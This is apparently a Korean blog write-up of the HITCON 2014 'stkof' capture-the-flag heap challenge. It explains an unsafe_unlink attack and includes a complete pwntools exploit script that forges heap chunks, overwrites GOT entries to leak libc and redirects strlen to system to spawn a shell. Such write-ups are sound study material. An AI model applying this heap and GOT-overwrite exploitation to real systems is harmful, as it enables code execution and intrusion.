hOwDayS 선린 10720
HITCON 2014 stkof 본문
소개
unsafe_unlink 문제이다.
이 문제가 unsafe_unlink의 좋은 문제라고 해서 풀어보았다.
보호 기법
RELRO | Partial RELRO |
Stack Canary | Canary Found |
NX | NX Enabled |
PIE | NO PIE |
분석
0
Free할때 내용 초기화 한다
원하는 만큼 입력 가능.
Leak
왜이지는 모르겠는데 index 1 , index 2사이에 어떤 것이 할당 된다.
edit으로
n번째 mallocpointer를 puts_got으로 쓰고
strlen을 puts로 덮어 쓰면 Leak 가능.
Exploit
strlen_got을 system으로 overwrite하고
edit을 통해 /bin/sh을 써주고
4번메뉴로 strlen(&binsh)
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | from pwn import * p = process("./stkof") e = ELF("./stkof") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def malloc(size): p.sendline("1") p.sendline(str(size)) print "MALLOC : " + p.recvuntil("OK") def free(index): p.sendline("3") p.sendline(str(index)) print "FREE : " + p.recvuntil("OK") def edit(index , size , content): p.sendline("2") p.sendline(str(index)) p.sendline(str(size)) p.send(content) print "EDIT : " +p.recvuntil("OK") pointer = 0x602150 malloc(0x80) #idx1 malloc(0x80) #idx2 malloc(0x80) #idx3 malloc(0x80) #idx4 ## LEAK ## payload = p64(0) * 2 payload += p64(pointer - 0x18) #fd payload += p64(pointer - 0x10) #bk payload += "A" * 0x60 payload += p64(0x80) #prev_sisze payload += p64(0x90) #prev_in_use edit(2,len(payload) , payload) free(3) payload2 = "0"* (0x602148 - (0x602150-0x18)) payload2 += p64(e.got["strlen"]) #idx1 0x602148 payload2 += p64(0x602158) #idx2 0x602150 payload2 += p64(e.got["puts"]) #idx3 0x602158 payload2 += p64(0x602168) #idx3) 0x602160 -> 0x602168(/bin/sh) payload2 += "/bin/sh\x00" #idx4 edit(2,len(payload2),payload2) edit(1,8,p64(e.plt["puts"])) #overwrite strlen to puts p.sendline("4") p.sendline("3") p.recv() libc_base = u64(p.recv(6) + "\x00\x00") - libc.symbols["puts"] log.info("Leak libc_base : " + hex(libc_base)) edit(1,8,p64(libc_base + libc.symbols["system"])) p.sendline("4") p.sendline("4") p.interactive() | cs |
앜 heap문제 익스짜는 거 넘 재밌땅
익스 할때 s0angri님의 블로그를 참조했다
http://s0ngsari.tistory.com/435
'잡다한거..' 카테고리의 다른 글
Angr (0) | 2018.03.25 |
---|---|
Haskell Decomplier (0) | 2018.03.17 |
realloc vulnerability (0) | 2018.03.05 |
Memory Leak (0) | 2018.03.04 |
unsortedbin_attack (0) | 2018.02.22 |
Comments